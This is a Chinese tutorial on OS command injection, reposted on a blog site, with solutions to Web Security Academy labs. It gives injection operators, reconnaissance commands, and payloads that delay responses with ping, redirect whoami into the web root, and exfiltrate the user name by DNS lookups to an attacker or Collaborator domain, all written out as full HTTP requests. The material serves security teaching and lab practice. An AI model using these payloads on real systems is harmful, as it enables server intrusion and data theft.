WEB安全基础入门—操作系统命令注入(shell 注入)

这篇具有很好参考价值的文章主要介绍了WEB安全基础入门—操作系统命令注入(shell 注入)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:

  • 《WEB安全基础-服务器端漏洞》
  • 《WEB安全基础-客户端漏洞》
  • 《WEB安全高级-综合利用》

知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!

  • 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
  • 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
  • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
  • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~

1. 什么是操作系统命令注入

攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。
文件参数 shell 命令注入,WEB安全0基础入门系列,web安全,安全,命令注入,网络安全,操作系统命令注入

2. 攻击流程解析

以电商网站为例,经常有查询库存余量的功能,URL如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
后台在处理此URL时,调用库存查询接口,由于历史原因,接口往往需要使用shell命令调用其他系统模块。类似如下命令
stockreport.pl 381 29

.pl 是perl语言源程序文件的扩展名,参数值将作为参数传入该“脚本”进行调用库存余量查询。

如果将该脚本参数改为如下
stockreport.pl & echo aiwefwlguh & 29

&为系统命令分隔符,会将上述一条命令差分为3条系统命令,显示结果如下:

Error - productID was not provided  (stockreport.pl未得到有效参数,报错)
aiwefwlguh(echo命令执行)
29: command not found (系统无法辨别的命令)

例题 1

3. 常用命令

发现漏洞后,应执行一些基础命令,查看相关系统信息。

目标 Linux Windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接状态 netstat -an netstat -an
运行进程 ps -ef tasklist

4. 命令注入盲注漏洞

有些命令注入命令,不会随响应包响应任何结果。如反馈信息页,当用户完成了反馈,点击提交后。系统允许会生成如下邮件命令发送给管理员
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
这个命令就算存在的命令注入漏洞,但是在用户web端不会有任何回显。
但我们可以尝试以下方式进行测试漏洞是否存在

利用时间延迟测试漏洞存在

& ping -c 10 127.0.0.1 &
系统若存在漏洞,将会发起10次ping命令,导致响应时间延迟。

例题2

利用输出重定向来获取结果

& whoami > /var/www/static/whoami.txt &
若命令执行成功,命令执行结果将会写入路径下的whoami.txt文件中。若能成功读取该文件,就能获取结果。

例题3

利用带外技术(OAST)获取结果

& nslookup kgji2ohoyw.web-attacker.com &
& nslookup whoami.kgji2ohoyw.web-attacker.com &
使用命令nslookup来发起DNS对特定域名(攻击者控制的域名)的查询。通过查询访问记录获取结果

例题4、5

5. 常用注入操作符

window与类linux系统通用

  • &
  • &&
  • |
  • ||

类linux专用

  • 0x0a or \n (换新行)

类linux行内命令执行

  • command
  • $(command)

注意:命令注入要注意是否有引号等包裹,注意闭合后溢出,命令才能执行

6. 漏洞实例

1. 操作系统命令注入,简单案例 (OS command injection, simple case)

  • 目标

在查看库存量功能处存在命令执行漏洞。执行whoami命令回显当前用户

  • 解题详情

productId=1&storeId=1|ps%20-ef
productId=1&storeId=1|whoami
productId=1&storeId=1;whoami

2. 带有时延的操作系统命令盲注入 (Blind OS command injection with time delays)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,执行盲注导致10s延迟

  • 解题详情

name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs
name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs

3. 带有输出重定向的盲注操作系统命令注入(Blind OS command injection with output redirection)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,执行whoami命令,将结果输出重定向到/var/www/images/,获取结果。

  • 解题详情
POST /feedback/submit HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net

csrf=f29VvEikq8kD255HWZvBLeu18JAX33Ei&name=1&email=123%40123.com||whoami%20>%20/var/www/images/result.txt||&subject=123&message=hello
GET /image?filename=result.txt HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
Cookie: session=TekRg9mt7CtTUqeyrHh8toH3lyZiUXTu

4. 带外交互的盲注操作系统命令注入 (Blind OS command injection with out-of-band interaction)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,利用Burp Collaborator执行DNS lookup命令

  • 解题详情
POST /feedback/submit HTTP/1.1
Host: acc91f7c1e635f04c0c01cc100fa0054.web-security-academy.net                 

csrf=hLmRCnMINZA3RlaRBGIx6djbKV0t5911&name=2&email=123%40123.com||nslookup%20xxy8f3kz49690drczkiwx10zbqhg55.burpcollaborator.net||&subject=2&message=hello

5. 带外数据外泄的盲注操作系统命令注入(Blind OS command injection with out-of-band data exfiltration)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,利用OAST技术获取当前用户名信息并提交。

  • 解题详情
POST /feedback/submit HTTP/1.1
Host: aca51fa91ec5cbaec0d2294d00f300a8.web-security-academy.net

csrf=mJQ6zYNSkbeEGecCkoqfLemDT8pQeklX&name=3&email=123%40123.com||nslookup%20`whoami`.okcz2u7qr0t0n4e3mb5nksnqyh48sx.burpcollaborator.net||&subject=3&message=hello

文件参数 shell 命令注入,WEB安全0基础入门系列,web安全,安全,命令注入,网络安全,操作系统命令注入文章来源地址https://www.toymoban.com/news/detail-789412.html

到了这里,关于WEB安全基础入门—操作系统命令注入(shell 注入)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Linux操作系统学习,Linux基础命令大全

    友情提醒 先看文章目录,大致了解文章知识点结构,点击文章目录可直接跳转到文章指定位置。 ①Linux是基于Unix的开源的免免费的一款操作系统,由于系统的稳定性和安全性被成为程序代码运行的最佳操作系统环境。 ②Linux发行版的不同,可以分为 1)乌班图:Ubuntu 2)红帽

    2024年02月14日
    浏览(49)
  • 【Linux操作系统】【综合实验一 Linux操作基础】【浅试Linux命令】

    Linux均以文件形式存在 本文出现的命令浅尝辄止,具体使用参考文档即可 解决一个任务的方法很多,本文仅浅试了一些简单的命令 要求掌握Linux基础操作,熟悉Linux行界面,并 明白操作的原理以及目的(难) ;熟悉Linux系统环境。 通过这个第一阶段实验,要求掌握以下操作

    2023年04月08日
    浏览(90)
  • 《计算机系统与网络安全》 第八章 操作系统安全基础

    🌷🍁 博主 libin9iOak带您 Go to New World.✨🍁 🦄 个人主页——libin9iOak的博客🎐 🐳 《面试题大全》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 🌊 《IDEA开发秘籍》学会IDEA常用操作,工作效率翻倍~💐 🪁🍁 希望本文能够给您带来一定的帮助🌸文章粗浅,敬

    2024年02月11日
    浏览(39)
  • Linux操作系统基础(七):Linux常见命令(二)

    文章目录 Linux常见命令(二) 一、kill命令 二、ifconfig命令 三、clear命令 四、重启与关机命令 五、which命令 六、hostname命令 七、grep命令 八、|管道 九、useradd命令 十、userdel命令 十一、tar命令 十二、su命令 十三、ps命令 作用:kill命令用于终止执行中的程序 格式: 案例: 作

    2024年02月19日
    浏览(38)
  • Linux操作基础(系统安全及应用)

    (1)将非登录用户的shell设置成/sbin/nologin (2)锁定长期不使用账号权限 (3)删除无用账号 (4)锁定账号文件psswd、shadow 通过md5sum 可以查看校验和来判断文件有没有被修改过 在新添加一个用户之后,他的校验和发生了变化。 1.21 设置密码有效期 针对新用户 在进入vim /et

    2023年04月19日
    浏览(34)
  • 【linux系统操作】linux中所有基础命令失效,显示找不到该命令

    原因: 有可能是之前修改了etc/profile.d目录下的环境变量配置文件导致。 解决办法: 方法一 : 恢复配置文件。 如果记得修改了配置文件那个地方,可以将配置文件修改回去,然后再保存更新 。 方法二 : 直接在linux命令行界面输入如下,然后回车(导入环境变量,以及sh

    2024年02月01日
    浏览(34)
  • C++ Linux Web Server 面试基础篇-操作系统(四、线程通信)

    ⭐️我叫忆_恒心,一名喜欢书写博客的在读研究生👨‍🎓。 如果觉得本文能帮到您, 麻烦点个赞 👍呗! 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧,喜欢的小伙伴给个三连支持一下呗。👍⭐️❤️ Qt5.9专栏 定期更新Qt的一些项目Demo

    2023年04月26日
    浏览(40)
  • C++ Linux Web Server 面试基础篇-操作系统(三、进程通信)

    ⭐️我叫忆_恒心,一名喜欢书写博客的在读研究生👨‍🎓。 如果觉得本文能帮到您, 麻烦点个赞 👍呗! 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧,喜欢的小伙伴给个三连支持一下呗。👍⭐️❤️ Qt5.9专栏 定期更新Qt的一些项目Demo

    2023年04月22日
    浏览(67)
  • 等保测评2.0_三级——【安全计算环境】Linux操作系统测评_命令

    目录 安全计算环境 七个控制点(单元)(Linux操作系统测评_命令) 1.身份鉴别 2 访问控制 3安全审计 4入侵防范 5 恶意代码防范 6可信验证 9 数据备份恢复 三级共 23个控制点, 二级共 15个控制点,10个高风险项  连接测评设备 连接工具: Xshell 连接过程如图:  4个命令  1. s

    2024年02月14日
    浏览(28)
  • Hadoop HDFS分布式文件系统(介绍以及基础操作命令)

    目录 一、为什么需要分布式存储? 二、分布式的基础架构分析  三、HDFS基础架构 1.HDFS简介 四、HDFS集群启停命令 1.一键启停脚本 2.单进程启停 五、HDFS基本操作命令 1.创建文件夹  2.查看指定目录下内容  3.上传文件到HDFS指定目录下  4.查看HDFS文件内容 5.下载HDFS文件  6.拷贝

    2024年02月05日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包